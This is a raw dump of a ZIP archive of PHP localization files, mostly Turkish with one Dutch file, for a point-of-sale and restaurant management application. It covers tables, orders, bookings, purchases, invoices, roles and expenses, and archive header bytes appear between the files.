'Masalar', 'table' => 'Masa', 'manage_your_tables' => 'Restoran masalarını yönet', 'all_your_tables' => 'Tüm restoran masaları', 'description' => 'Açıklama', 'add_table' => 'Masa Ekle', 'edit_table' => 'Masa Düzenle', 'table_name' => 'Masa Adı', 'short_description' => 'Kısa Açıklama', 'select_table' => 'Masa Seç', 'show_table' => 'Masa Göster', 'table_label' => 'Masa Etiketi', 'show_service_staff' => 'Servis personelini göster', 'service_staff_label' => 'Servis personeli etiketi', 'select_waiter' => 'Garson Seç', 'modifiers' => 'Düzenleyiciler', 'modifier_sets' => 'Düzenleyici Setleri', 'manage_your_modifiers' => 'Tüm restoran düzenleyicilerini yönet', 'all_your_modifiers' => 'Tüm Düzenleyiciler', 'add_modifier' => 'Düzenleyici Ekle', 'modifier_set' => 'Değiştirici Seti', 'modifier' => 'Düzenleyiciler', 'edit_modifier' => 'Düzenleyici Düzenle', 'manage_products' => 'Ürünleri Yönet', 'products' => 'Ürünler', 'modifiers_for_product' => 'Ürün değiştiricileri', 'kitchen' => 'Mutfak', 'mark_as_cooked' => 'hazırlandı olarak işaretle', 'manage_your_kitchen' => 'Mutfağınızı yönetin', 'all_orders' => 'Tüm siparişler', 'order_no' => 'Sipariş No.', 'order_statuses' => [ 'received' => 'Alınan', 'cooked' => 'Hazırlanan', 'served' => 'ServisEdilen', '' => 'Alınan', ], 'order_successfully_marked_cooked' => 'Sipariş başarıyla hazırlandı olarak işaretlendi', 'order_successfully_marked_served' => 'Sipariş başarıyla servis edildi olarak işaretlendi', 'orders' => 'Siparişler', 'manage_your_orders' => 'Siparişlerinizi yönetin', 'all_your_orders' => 'Tüm siparişleriniz', 'mark_as_served' => 'Servis edildi olarak işaretle', 'placed_at' => 'Yerleştirildi', 'order_status' => 'Sipariş Durumu', 'order_details' => 'Sipariş detayları', 'refresh' => 'Yenile', 'no_orders_found' => 'Sipariş bulunamadı', 'select_service_staff' => 'Servis personelini seçin', 'service_staff' => 'Servis personeli', 'kitchen_for_restaurant' => 'Mutfak (Restoranlar için)', 'products_for_modifier' => 'Değiştirici için ürünler', 'is_service_staff' => 'Servis personeli mi ?', 'tooltip_tables' => 'Genellikle restoranlarda, barlarda, salonlarda vb. Kullanılır.', 'tooltip_modifiers' => 'Ana ürüne eklenen ekstra ürünler<br>Örnek: Acı, Peynir', 'tooltip_service_staff' => 'Müşterilere belirlenmiş hizmeti veren kişi<br> Örnek: Lokantalarda Bekleyen Personel, Salondaki Kuaför', 'modules_settings' => 'Modül ayarları', 'bookings' => 'Rezervasyonlar', 'add_edit_view_all_booking' => 'Tüm rezervasyonları ekle / düzenle / gör', 'add_edit_view_own_booking' => 'Kendi rezervasyonlarını ekle / düzenle / gör', 'add_booking' => 'Yeni rezervasyon ekle', 'start_time' => 'Başlama zamanı', 'end_time' => 'Bitiş zamanı', 'booking_not_available' => 'Masa belirtilen Zaman ve müşteri için zaten ayrılmış <b>:customer_name</b> Zaman <b>:booking_time_range</b>', 'select_correspondent' => 'Yazışan Kişi Seç', 'send_notification_to_customer' => 'Müşteriye E-posta / SMS bildirimi gönder', 'booking_details' => 'Rezervasyon detayları', 'correspondent' => 'Yazışan Kişi', 'booking_starts' => 'Rezervasyon başlangıç', 'booking_ends' => 'Rezervasyon bitiş', 'cancelled' => 'İptal Edilen', 'completed' => 'Tamamlanan', 'change_booking_status' => 'Rezervasyon durumunu değiştir', 'booked' => 'Rezerve Edilmiş', 'delete_booking' => 'Rezervasyonu sil', 'click_on_any_booking_to_view_or_change_status' => 'Detayları görmek veya durumunu değiştirmek için herhangi bir rezervasyona Tıklayın', 'double_click_on_any_day_to_add_new_booking' => 'Yeni rezervasyon eklemek için herhangi bir güne çift tıklayın', 'todays_bookings' => 'Bugünün Rezervasyonları', 'hello_name' => 'Merhaba :name!', 'booking_confirmed' => 'Rezervasyonunuz onaylandı.', 'table_info' => 'Masa: :table', 'booking_time_info' => ':from İle :to Arası', 'new_booking_subject' => 'Yeni rezervasyon - :business_name', 'customer_note' => 'Müşteri notu', 'table_report' => 'Masa Raporu', 'service_staff_report' => 'Servis Personel Raporu', 'service_staff_replacement' => 'Hizmet personeli değiştirme' ]; PK G �Z�v-� � tr/purchase.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Purchase Language Lines |-------------------------------------------------------------------------- | | The following language lines are used for Purchase screens | */ 'supplier' => 'Tedarikçi', 'ref_no' => 'Referans No', 'business_location' => 'Şube', 'purchases' => 'Satınalmalar', 'add_payment' => 'Ödeme ekle', 'edit_payment' => 'Ödeme düzenle', 'view_payments' => 'Ödemeleri Gör', 'amount_already_paid' => 'Tutar zaten ödendi', 'payment_added_success' => 'Ödeme başarıyla eklendi', 'payment_updated_success' => 'Ödeme başarıyla güncellendi', 'payment_deleted_success' => 'Ödeme başarıyla silindi', 'view_payments' => 'Ödemeleri Gör', 'amount' => 'Miktar', 'payment_method' => 'Ödeme Şekli', 'no_records_found' => 'Kayıt bulunamadı', 'payment_due' => 'Ödenecek Ödeme', 'purchase_total' => 'Satın alma toplamı', 'location' => 'Lokasyon', 'payment_note' => 'Ödeme Notu', 'all_purchases' => 'Tüm Satınalmalar', 'purchase_status' => 'Satınalma Durumu', 'payment_status' => 'Ödeme Durumu', 'grand_total' => 'Genel Toplam', 'add_purchase' => 'Satınalma Ekle', 'purchase_date' => 'Satınalma Tarihi', 'purchase_quantity' => 'Satınalma Miktarı', 'unit_cost_before_tax' => 'Birim Maliyet (Vergiden Önce)', 'subtotal_before_tax' => 'Ara Toplam (Vergiden Önce)', 'product_tax' => 'Ürün Vergisi', 'net_cost' => 'Net Maliyet', 'line_total' => 'Satır Toplamı', 'unit_selling_price' => 'Birim Satış Fiyatı', 'total_before_tax' => 'Vergi öncesi Toplam', 'net_total_amount' => 'Net Toplam Tutar', 'discount_type' => 'İndirim Türü', 'discount_amount' => 'İndirim Tutarı', 'discount' => 'İndirim', 'edit_purchase' => 'Satınalma Düzenle', 'purchase_tax' => 'Satınalma Vergisi', 'shipping_details' => 'Nakliye Detayları', 'additional_shipping_charges' => 'Ek Nakliye ücretleri', 'purchase_total' => 'Satınalma Toplamı', 'additional_notes' => 'Ek Notlar', 'purchase_add_success' => 'Satınalma başarıyla eklendi', 'purchase_update_success' => 'Satınalma başarıyla güncellendi', 'purchase_details' => 'Satınalma Detayları', 'unit_cost_after_tax' => 'Birim Maliyet Fiyatı (Vergiden Sonra)', 'total_after_tax' => 'Vergi Sonrası Toplam', 'no_payments' => 'Ödeme bulunamadı', 'allow_purchase_different_currency' => 'Diğer para biriminde alımlar', 'purchase_currency' => 'Satınalma Para Birimi', 'p_exchange_rate' => 'Döviz kuru', 'diff_purchase_currency_help' => 'Satınalma para birimi <strong> :currency </strong> olarak ayarlandı', 'list_purchase' => 'Satınalmaları Listele', 'attach_document' => 'Döküman Ekle', 'download_document' => 'Dökümanı İndir', 'max_file_size' => 'Maksimum Dosya Boyutu: :sizeMB', ]; PK G �Zt,��� � tr/business.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Business Language Lines |-------------------------------------------------------------------------- | | The following language lines are used during registration of a business. | */ 'register_and_get_started_in_minutes' => 'İşletmenizi dakikalar içinde kaydedin ve başlayın', 'business_name' => 'İşletme Adı', 'start_date' => 'Başlangıç Tarihi', 'currency' => 'Para Birimi', 'currency_placeholder' => 'Para Birimi Seç', 'upload_logo' => 'Logo Yükle', 'country' => 'Ülke', 'state' => 'Bölge', 'city' => 'Şehir', 'zip_code' => 'Posta Kodu', 'zip_code_placeholder' => 'Zip/Posta Kodu', 'landmark' => 'Kısa adres tarifi', 'tax_1_name' => 'Vergi Oranı 1 Adı', 'tax_1_no' => 'Vergi Oranı 1 No.', 'tax_2_name' => 'Vergi Oranı 2 Adı', 'tax_2_no' => 'Vergi Oranı 2 No.', 'tax_1_placeholder' => 'GST / Vergi / Diğer', 'prefix' => 'Önek', 'prefix_placeholder' => 'Bay/Bayan', 'first_name' => 'Adı', 'last_name' => 'Soyadı', 'username' => 'Kullanıcıadı', 'email' => 'E-posta', 'password' => 'Şifre', 'confirm_password' => 'Şifre Onayla', 'register' => 'Kaydol', 'business' => 'İşletme', 'address' => 'Adres', 'logo_help' => 'Önceki logo (varsa) değiştirilecektir', 'update_settings' => 'Ayarları güncelle', 'business_settings' => 'İşletme Ayarları', 'settings_updated_success' => 'Ayarlar başarıyla güncellendi', 'default_profit_percent' => 'Varsayılan kar yüzdesi', 'default_sales_tax' => 'Varsayılan Satış Vergisi', 'default_sales_discount' => 'Varsayılan Satış İndirimi', 'business_details' => 'İşletme Detayları', 'tax' => 'Vergi', 'tax_details' => 'Vergi ayrıntıları', 'owner' => 'Sahip', 'owner_info' => 'Sahip bilgileri', 'sale' => 'Satış', 'sell_price_tax' => 'Satış fiyatı', 'product' => 'Ürün', 'sku_prefix' => 'Stok Kodu(SKU) önek', 'language' => 'Dil', 'time_zone' => 'Saat dilimi', 'months' => [ 1 => 'Ocak', 2 => 'Şubat', 3 => 'Mart', 4 => 'Nisan', 5 => 'Mayıs', 6 => 'Haziran', 7 => 'Temmuz', 8 => 'Ağustos', 9 => 'Eylül', 10 => 'Ekim', 11 => 'Kasım', 12 => 'Aralık', ], 'fy_start_month' => 'Mali yıl başlangıç ayı', 'accounting_method' => 'Stok Muhasebe Yöntemi', 'fifo' => 'FIFO (İlk giren ilk çıkar)', 'lifo' => 'LIFO (Son giren ilk çıkar)', 'business_locations' => 'İşletme Şubeleri', 'business_location' => 'İşletme Şubesi', 'manage_your_business_locations' => 'İşletme Şubelerinizi Yönet', 'all_your_business_locations' => 'Tüm İşletme Şubeleriniz', 'add_business_location' => 'Yeni Şube Ekle', 'business_location_added_success' => 'Şube Başarıyla Eklendi', 'edit_business_location' => 'Şube Düzenle', 'business_location_updated_success' => 'Şube Başarıyla Güncellendi', 'location' => 'Lokasyon', 'already_registered' => 'Zaten kayıtlı mısınız?', 'sign_in' => 'Oturum Aç', 'not_yet_registered' => '', //'Kayıtlı değil misiniz?', 'register_now' => 'Şimdi üye Ol', 'system' => 'Sistem', 'show_help_text' => 'Yardım metnini göster', 'mobile' => 'Cep Telefonu Numarası', 'alternate_number' => 'Alternatif irtibat numarası', 'email' => 'E-posta', 'settings' => 'Ayarlar', 'transaction_edit_days' => 'Gün Bazında İşlem Düzeltme Süresi', 'dashboard' => 'Gösterge Paneli', 'view_stock_expiry_alert_for' => 'Son Kullanma Tarihi Uyarısını Göster', 'days' => 'Gün', 'system_settings' => 'Sistem Ayarları', 'add_keyboard_shortcuts' => 'Klavye Kısayolları Ekle', 'operations' => 'Operasyonlar', 'keyboard_shortcut' => 'Klavye kısayolu', 'business_created_succesfully' => 'İşletme başarıyla oluşturuldu!!', 'tax_number1' => 'Vergi numarası 1', 'tax_number2' => 'Vergi numarası 2', 'is_active' => 'Aktif', 'created_by' => 'Tarafından yaratıldı', ]; PK G �Zoq2 2 tr/cash_register.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Cash Register Language Lines |-------------------------------------------------------------------------- | | The following language lines are used for Cash Register CRUD operations. | */ 'cash_register' => 'Kasa', 'manage_your_cash_register' => 'Kasaları Yönet', 'all_your_cash_register' => 'Tüm Kasalar', 'cash_in_hand' => 'Eldeki Başlangıç Nakit Miktarı', 'open_cash_register' => 'Kasayı aç', 'enter_amount' => 'Miktar gir', 'open_register' => 'Kasa aç', 'register_details' => 'Kasa Detayları', 'cash_payment' => 'Nakit Ödeme', 'checque_payment' => 'Çek Ödeme', 'card_payment' => 'Kart Ödeme', 'bank_transfer' => 'Banka Transfer', 'other_payments' => 'Diğer Ödemeler', 'total_sales' => 'Toplam Satış', 'total_cash' => 'Toplam Nakit', 'current_register' => 'Mevcut Kasa', 'close_register' => 'Kasayı Kapat', 'total_card_slips' => 'Toplam Kart Slipleri', 'total_cheques' => 'Toplam Çekler', 'closing_note' => 'Kapanış Notu', 'close_success' => 'Kasa başarıyla kapatıldı', 'open' => 'Aç', 'close' => 'Kapat', 'total_refund' => 'Toplam İade', 'refunds' => 'İadeler', ]; PK G �Z�b�! ! tr/tooltip.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Tooltip Language Lines |-------------------------------------------------------------------------- | | The following language lines are used for various help texts. | */ 'product_stock_alert' => "Düşük stoklu ürünleri<br/><small class='text-muted'>Ürün ekleme ekranında ayarlanan ürün uyarısı miktarına göre <br> Bu ürünleri stok bitmeden önce satın alın.</small>", 'payment_dues' => "Ödeme beklenen Satın alımlar için <br/><small class='text-muted'>Tedarikçinin ödeme vadesine göre <br/> 7 gün veya daha kısa sürede ödenecek ödemeleri gösterir.</small>", 'input_tax' => 'Seçilen sürede satışlar için toplanan toplam vergi.', 'output_tax' => 'Seçilen süre boyunca satın alımlara ödenen toplam vergi.', 'tax_overall' => 'Toplanan toplam vergi ile seçilen süre içinde ödenen toplam vergi arasındaki fark.', 'purchase_due' => 'Satın alımlar için toplam ödenmemiş miktar.', 'sell_due' => 'Satışlardan elde edilecek toplam tutar', 'over_all_sell_purchase' => '-ve Değer = Ödenecek miktar <br>+ve Değer = Alınacak miktar', 'no_of_products_for_trending_products' => 'Aşağıdaki tabloda karşılaştırılacak en çok göze çarpan trend ürün sayısı.', 'top_trending_products' => "Mağazanızın en çok satan ürünleri. <br/><small class='text-muted'>Belirli Kategori, Marka, Şube vb. Trend ürünlerini görmek için filtreler uygulayın.</small>", 'sku' => "Benzersiz ürün kimliği veya Stok Birimi için <br><br> Stok kodu Sku'yu otomatik olarak oluşturmak için boş bırakın.<br><small class='text-muted'>İşletme ayarlarında sku önekini değiştirebilirsiniz.</small>", 'enable_stock' => "Bir ürün için stok yönetimini etkinleştirin veya devre dışı bırakın. <br><br><small class='text-muted'>Stok Yönetimi çoğunlukla hizmetler için devre dışı bırakılmalıdır. Örnek: Saç Kesme, Onarım vb.</small>", 'alert_quantity' => "Ürün stoğu belirtilen miktara ulaştığında veya altına düştüğünde uyarı alın.<br><br><small class='text-muted'>Stokları düşük olan ürünler kontrol panelinde gösterilecektir - Ürün Stok Uyarısı bölümü.</small>", 'product_type' => '<b>Tek ürün</b>: Değişmeyen Ürün. <br><b>Değişen Ürün</b>: Ürün ve ürünün çeşitleri Boyut, renk vb.', 'profit_percent' => "Ürün için varsayılan kar marjı. <br><small class='text-muted'>(<i>İş Ayarlarında varsayılan kar marjını yönetebilirsiniz.</i>)</small>", 'pay_term' => "Verilen süre içerisinde alımlar için ödenecek ödemeler.<br/><small class='text-muted'>Yaklaşan tüm ödemeler veya vadesi gelen ödemeler gösterge panosunda gösterilecektir - Ödeme Süresi bölümü</small>", 'order_status' => 'Bu satın alımdaki ürünler, yalnızca <b>Sipariş durumu</b> <b> Siparişi alınan öğelerden oluşur</b>.', 'purchase_location' => 'Satın alınan ürünün satışa sunulacağı şube.', 'sale_location' => 'Satmak istediğiniz yerin bulunduğu şube', 'sale_discount' => "İşletme Ayarları'ndaki tüm satışlar için 'Varsayılan Satış İndirimi' değerini ayarlayın. İndirim eklemek / güncellemek için aşağıdaki düzenle simgesine tıklayın.", 'sale_tax' => "İşletme Ayarları'ndaki tüm satışlar için 'Varsayılan Satış Vergisi'ni ayarlayın. Sipariş Vergisi eklemek / güncellemek için aşağıdaki düzenle simgesine tıklayın.", 'default_profit_percent' => "Bir ürünün varsayılan kar marjı <br><small class='text-muted'>Girilen satın alma fiyatına göre satış fiyatı üzerinden hesaplanır.<br/> Ekleme yaparken, tek tek ürünler için bu değeri değiştirebilirsiniz.</small>", 'fy_start_month' => 'İşletmeniz için Mali Yıl Ayından Başlayın', 'business_tax' => 'İşletmeniz için kayıtlı vergi numarası.', 'invoice_scheme' => "Fatura Şeması, fatura numaralandırma formatı anlamına gelir. Bu şube için kullanılacak şemayı seçin<br><small class='text-muted'><i> Yeni Fatura Düzenini ekleyebilirsiniz</b> in Invoice Settings</i></small>", 'invoice_layout' => "Bu şube için kullanılacak Fatura Düzeni<br><small class='text-muted'>(<i>Yeni ekleyebilirsiniz <b>Fatura Düzeni</b> in <b>Fatura Ayarları<b></i>)</small>", 'invoice_scheme_name' => 'Fatura tasarımına kısa ve anlamlı bir ad verin.', 'invoice_scheme_prefix' => 'Fatura tasarım Düzeninin Öneki.<br> Bir ön ek, özel bir metin veya geçerli bir yıl olabilir. Örnek: #XXXX0001, #2018-0002', 'invoice_scheme_start_number' => "Fatura numaralandırması için başlangıç numarası. <br><small class='text-muted'> Numaralandırma başlangıcı için 1 veya herhangi bir numarayı yapabilirsiniz.</small>", 'invoice_scheme_count' => 'Fatura tasarımı şeması için oluşturulan toplam fatura sayısı', 'invoice_scheme_total_digits' => 'Fatura Öneki hariç Fatura Numarasının Uzunluğu', 'tax_groups' => 'Grup Vergi Oranları - Yukarıda tanımlanmış, Alış / Satış bölümlerinde bir arada kullanılacak.', 'unit_allow_decimal' => 'Ondalıklar, ilgili ürünleri kesirlerle satmanıza izin verir.', 'print_label' => 'Ürün ekle -> Etiketler de gösterilecek bilgileri seç -> Barkod Ayarını Seç -> Etiketleri Önizle -> Yazdır', 'expense_for' => 'Giderin ilişkili olduğu kullanıcıyı seçin. <i>(İsteğe bağlı)</i><br/><small>Örnek: Bir çalışanın maaşı.</small>', 'all_location_permission' => 'Eğer <b>Tüm Şubeler</b> bu rol seçilirse tüm şubelere erişim iznine sahip olacaktır', 'dashboard_permission' => 'İşaretlenmezse, yalnızca Hoş Geldiniz mesajı Ana Sayfada görüntülenir.', 'access_locations_permission' => 'Bu rolün erişebileceği tüm şubeleri seçin. Seçilen şubeler için tüm veriler sadece kullanıcıya gösterilecektir.<br/><br/><small>Örnek: Bunu tanımlamak için kullanabilirsiniz. <i>Mağaza Müdürü / Kasiyer / Stok Müdürü / Şube Müdürü, </i>belirli bir yerin.</small>', 'print_receipt_on_invoice' => 'Faturanın otomatik yazdırılmasını etkinleştirin veya devre dışı bırakın', 'receipt_printer_type' => '<i>Internet tarayıcı tabanlı yazıcı</i>: Fatura önizlemesini internet tarayıcıda yazdırma iletişim kutusunda göster <br/><br/> <i>Yapılandırılmış Fiş Yazıcısı Kullan</i>: Yazdırmak için yapılandırılmış bir fiş / termal yazıcı seçin', 'adjustment_type' => '<i>Normal</i>: Kaçak, Hasar vb. Normal nedenlerden dolayı ayar yapılması. <br/><br/> <i>Anormal</i>: Yangın, Kaza vb. Sebeplerden dolayı ayar yapılması.', 'total_amount_recovered' => 'Sigorta ya da hurda satışı veya diğerlerinden elde edilen meblağ', 'express_checkout' => 'Tamamlanmış ödeme ve ödeme işlemi olarak işaretleyin', 'total_card_slips' => 'Bu kasada kullanılan toplam kart ödeme sayısı', 'total_cheques' => 'Bu kasada kullanılan toplam çek ödeme sayısı', 'capability_profile' => "Komutlar ve kod sayfaları için yazıcı ayarları, yazıcı satıcıları ve modelleri arasında değişir. Emin değilseniz, 'basit' Yetenek Profilini kullanmak iyi bir fikirdir", 'purchase_different_currency' => 'İşletme para biriminden farklı bir para biriminde satın alıyorsanız bu seçeneği seçin', 'currency_exchange_factor' => "1 Satın Alma Para Birimi = ? Baz Alınacak Para Birimi <br> <small class='text-muted'>İşletme ayarlarından 'Diğer para biriminde satın alma' özelliğini etkinleştirebilir / devre dışı bırakabilirsiniz.</small>", 'accounting_method' => 'Muhasebe yöntemi', 'transaction_edit_days' => 'İşlem Tarihinden itibaren bir işlemin düzenlenebileceği gün sayısı.', 'stock_expiry_alert' => "Süresi dolmuş stokların listesi :days gün <br> <small class='text-muted'>Gün numaralarını İşletme Ayarlarından Yapabilirsiniz.</small>", 'sub_sku' => 'Stok Kodu SKU isteğe bağlı.<br><br><small> Stok Kodu SKU Otomatik olarak oluşturmak için boş bırakın.<small>', 'shipping' => 'Nakliye ayrıntılarını ve nakliye ücretlerini ayarlayın. Gönderim detaylarını ve ücretlerini eklemek / güncellemek için aşağıdaki düzenle simgesine tıklayın.', ]; PK G �Z��4�� � tr/role.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Role Language Lines |-------------------------------------------------------------------------- | | The following language lines are used for Brand CRUD operations. | */ 'add_role' => 'Rol Ekle', 'edit_role' => 'Rol Düzenle', 'user' => 'Kullanıcı', 'supplier' => 'Tedarikçi', 'customer' => 'Müşteri', 'purchase' => 'Satınalma ve Stok Ayarlama', 'report' => 'Rapor', 'user.view' => 'Kullanıcı görüntüleme', 'user.create' => 'Kullanıcı Ekleme', 'user.update' => 'Kullanıcıyı düzenleme', 'user.delete' => 'Kullanıcıyı silme', 'supplier.view' => 'Tedarikçiyi görüntüleme', 'supplier.create' => 'Tedarikçi Ekleme', 'supplier.update' => 'Tedarikçiyi düzenleme', 'supplier.delete' => 'Tedarikçiyi silme', 'customer.view' => 'Müşteri Görüntüleme', 'customer.create' => 'Müşteri Ekleme', 'customer.update' => 'Müşteri Düzenleme', 'customer.delete' => 'Müşteri Silme', 'product.view' => 'Ürün Görüntüleme', 'product.create' => 'Ürün Ekleme', 'product.update' => 'Ürün Düzenleme', 'product.delete' => 'Ürün Silme', 'purchase.view' => 'Satınalma ve Stok Ayarlarını Görüntüleme', 'purchase.create' => 'Satınalma ve Stok Ayarlarını Ekleme', 'purchase.update' => 'Satınalma ve Stok Ayarlarını Düzenleme', 'purchase.delete' => 'Satınalma ve Stok Ayarlarını Silme', 'sell.view' => 'POS Satışlarını Görüntüleme', 'sell.create' => 'POS Satışı Ekleme', 'sell.update' => 'POS Satışı Düzenleme', 'sell.delete' => 'POS Satışı Silme', 'purchase_n_sell_report.view' => 'Satınalma ve satış raporunu görüntüleme', 'contacts_report.view' => 'Tedarikçi ve Müşteri raporunu görüntüleme', 'stock_report.view' => 'Stok raporunu, stok ayar raporunu ve stok son kullanım tarihi raporunu görüntüleme', 'tax_report.view' => 'Vergi raporunu görüntüleme', 'trending_product_report.view' => 'Trend ürün raporunu görüntüleme', 'register_report.view' => 'Kasa raporunu görüntüleme', 'sales_representative.view' => 'Komisyonlu Satışçı satış raporunu görüntüleme', 'expense_report.view' => 'Gider raporunu görüntüleme', 'business_settings.access' => 'İşletme Ayarlarına Erişim', 'barcode_settings.access' => 'Barkod Ayarlarına Erişim', 'invoice_settings.access' => 'Fatura Ayarlarına Erişim', 'brand.view' => 'Marka Görüntüleme', 'brand.create' => 'Marka Ekleme', 'brand.update' => 'Marka Düzenleme', 'brand.delete' => 'Marka Silme', 'tax_rate.view' => 'Vergi Oranı Görüntüleme', 'tax_rate.create' => 'Vergi Oranı Ekleme', 'tax_rate.update' => 'Vergi Oranı Düzenleme', 'tax_rate.delete' => 'Vergi Oranı Silme', 'unit.view' => 'Birimleri Görüntüleme', 'unit.create' => 'Birim Ekleme', 'unit.update' => 'Birim düzenleme', 'unit.delete' => 'Birim Silme', 'category.view' => 'Kategori Görüntüleme', 'category.create' => 'Kategori Ekleme', 'category.update' => 'Kategori Düzenleme', 'category.delete' => 'Kategori Silme', 'select_all' => 'Hepsini seç', 'settings' => 'Ayarlar', 'brand' => 'Marka', 'tax_rate' => 'Vergi oranı', 'unit' => 'Birim', 'access_locations' => 'Şubelere Erişim', 'all_locations' => 'Tüm Şubeler', 'dashboard' => 'Ana Sayfa', 'dashboard.data' => 'Ana Sayfa Datalarını Görüntüleme', 'profit_loss_report.view' => 'Kâr / zarar raporunu görüntüleme', 'direct_sell.access' => 'Satışlara Erişim', ]; PK G �Z�0�@� � tr/product.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Product Language Lines |-------------------------------------------------------------------------- | | The following language lines are used for Product related operations. | */ 'exc_of_tax' => 'Vergi Hariç', 'inc_of_tax' => 'Vergi Dahil', 'profit_percent' => 'x Kar Marjı(%)', 'add_new_product' => 'Yeni ürün ekle', 'add_product_for_labels' => 'Etiketler oluşturmak için ürünler ekleyin', 'product_type' => 'Ürün Tipi', 'category' => 'Kategori', 'sub_category' => 'Alt Kategori', 'unit' => 'Birim', 'brand' => 'Marka', 'tax' => 'Vergi', 'sku' => 'Stok Kimliği SKU', 'alert_quantity' => 'Uyarı miktarı', 'product_name' => 'Ürün Adı', 'auto_generate' => 'Otomatik oluştur', 'manage_stock' => 'Stokları Yönet?', 'enable_stock_help' => 'Ürün düzeyinde stok yönetimini etkinleştir', 'barcode_type' => 'Barkod Tipi', 'applicable_tax' => 'Uygulanabilir Vergi', 'selling_price_tax_type' => 'Satış fiyatı vergi türü', 'inclusive' => 'Dahil', 'exclusive' => 'Hariç', 'edit_product' => 'Ürün Düzenle', 'default_purchase_price' => 'Varsayılan Satın Alma Fiyatı', 'default_selling_price' => 'Varsayılan Satış Fiyatı', 'value' => 'Değer', 'variation_name' => 'Varyasyon Adı', 'variation_values' => 'Varyasyon Değerleri', 'use_template' => 'Şablon kullan', 'variation_values' => 'Varyasyon Değerleri', 'add_variation' => 'Varyasyon Ekle', 'product_added_success' => 'Ürün başarıyla eklendi', 'product_updated_success' => 'Ürün başarıyla güncellendi', 'enable_product_expiry' => 'Ürün Son Kullanma Tarihini Etkinleştir', 'expiry_period' => 'Sona Erme Tarihi', 'expires_in' => 'Sona Eriyor', 'not_applicable' => 'Uygulanamaz', 'months' => 'Ay', 'days' => 'Gün', 'mfg_date' => 'Üretim tarihi', 'exp_date' => 'Son kullanma tarihi', 'view_product' => 'Ürünü görüntüle', 'add_product' => 'Ürün Ekle', 'variations' => 'Varyasyonlar', 'import_products' => 'Ürünleri İçe Aktar', 'file_to_import' => 'İçe Aktarılacak Dosya', 'file_imported_successfully' => 'Dosya başarıyla içe aktarıldı', 'variation_sku_format' => 'Varyasyon SKU Formatı', 'variation_sku_format_help_text' => 'Varyasyon SKU Formatı - Varyasyon SKU boş olduğunda, varyasyonlar için SKU oluşturmak için bu format kullanılacaktır.', 'sku_number' => 'SKU Numarası (Örnek -> ABC-1, ABC-2)', 'sku_variation_number' => 'SKU Varyasyon (Örnek -> ABCS, ABCM)' ]; PK G �Z�"��+ + tr/invoice.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Invoice Language Lines |-------------------------------------------------------------------------- | | The following language lines are for invoice screen | */ 'invoice_settings' => 'Fatura Ayarları', 'manage_your_invoices' => 'Fatura ayarlarınızı yönetin', 'all_your_invoice_schemes' => 'Tüm fatura şablonlarınız', 'added_success' => 'Fatura ayarı başarıyla eklendi', 'updated_success' => 'Fatura ayarı başarıyla güncellendi', 'deleted_success' => 'Fatura ayarı başarıyla silindi', 'add_invoice' => 'Fatura şablonu ekle', 'edit_invoice' => 'Fatura Şablonunu Düzenle', 'name' => 'Adı', 'prefix' => 'Önek', 'start_number' => 'Burdan Başla', 'total_digits' => 'Basamak sayısı', 'preview' => 'Önizleme', 'not_selected' => 'Seçili değil', 'invoice_count' => 'Fatura Sayısı', 'invoice_schemes' => 'Fatura Şeması', 'invoice_layouts' => 'Fatura Tasarımları', 'invoice_layout' => 'Fatura Tasarımı', 'all_your_invoice_layouts' => 'Tüm Fatura Tasarımlarınız', 'add_invoice_layout' => 'Fatura Tasarımı Ekle', 'layout_name' => 'Tasarım adı', 'invoice_scheme' => 'Fatura şeması', 'header_text' => 'Başlık metni', 'invoice_no_prefix' => 'Fatura no. etiketi(kısmı)', 'invoice_heading' => 'Fatura başlığı', 'sub_total_label' => 'Ara toplam etiketi(kısmı)', 'discount_label' => 'İndirim etiketi(kısmı)', 'tax_label' => 'Vergi etiketi(kısmı)', 'total_label' => 'Toplam etiketi(kısmı)', 'fields_to_be_shown_in_address' => 'Şube adresinde gösterilecek alanlar', 'highlight_color' => 'Vurgu rengi', 'footer_text' => 'Altbilgi metni', 'layout_added_success' => 'Fatura tasarımı başarıyla eklendi', 'edit_invoice_layout' => 'Fatura tasarımını düzenle', 'layout_updated_success' => 'Fatura tasarımı başarıyla güncellendi', 'used_in_locations' => 'Şubelerde kullanılan', 'show_business_name' => 'İşletme adını göster', 'show_location_name' => 'Şube adını göster', 'show_mobile_number' => 'Cep telefonu numarası', 'show_alternate_number' => 'Alternatif telefon numarası', 'show_email' => 'E-Posta', 'show_tax_1' => 'Vergi 1 detayları', 'show_tax_2' => 'Vergi 2 detayları', 'fields_to_shown_for_communication' => 'İletişim detayları için alanlar', 'fields_to_shown_for_tax' => 'Vergi detayı için alanlar', 'invoice_logo' => 'Fatura Logosu', 'show_logo' => 'Fatura Logosunu Göster', 'show_barcode' => 'Barkod Göster', 'total_due_label' => 'Toplam Ödeme Etiketi(kısmı)', 'invoice_heading_not_paid' => 'Ödenmemiş İçin Son Ek', 'invoice_heading_paid' => 'Ödenmiş İçin Son Ek', 'show_payments' => 'Ödeme bilgilerini göster', 'show_customer' => 'Müşteri bilgilerini göster', 'paid_label' => 'Ödenen Miktar Etiketi(kısmı)', 'customer_label' => 'Müşteri Etiketi(kısmı)', ]; PK G �Z(0�(b b nl/expense.phpnu �[��� <?php return [ 'expenses' => 'Kosten', 'expense_categories' => 'Onkostencategorieën', 'manage_your_expense_categories' => 'Beheer uw uitgavencategorieën', 'all_your_expense_categories' => 'Al uw uitgavencategorieën', 'expense_category' => 'Uitgavencategorie', 'category_name' => 'Categorie naam', 'category_code' => 'Categoriecode', 'added_success' => 'Uitgavencategorie succesvol toegevoegd', 'updated_success' => 'Uitgavencategorie succesvol bijgewerkt', 'deleted_success' => 'Uitgavencategorie succesvol verwijderd', 'add_expense_category' => 'Add Expense Category', 'edit_expense_category' => 'Edit Expense Category', 'all_expenses' => 'Alle uitgaven', 'expense_status' => 'Uitgavenstatus', 'add_expense' => 'Add Expense', 'edit_expense' => 'Uitgave bewerken', 'expense_note' => 'Onkostennota', 'expense_add_success' => 'Kosten met succes toegevoegd', 'expense_update_success' => 'Uitgave succesvol bijgewerkt', 'expense_delete_success' => 'Kosten met succes verwijderd', 'expense_for' => 'Kosten voor', ]; PK G �Z�v�p� � 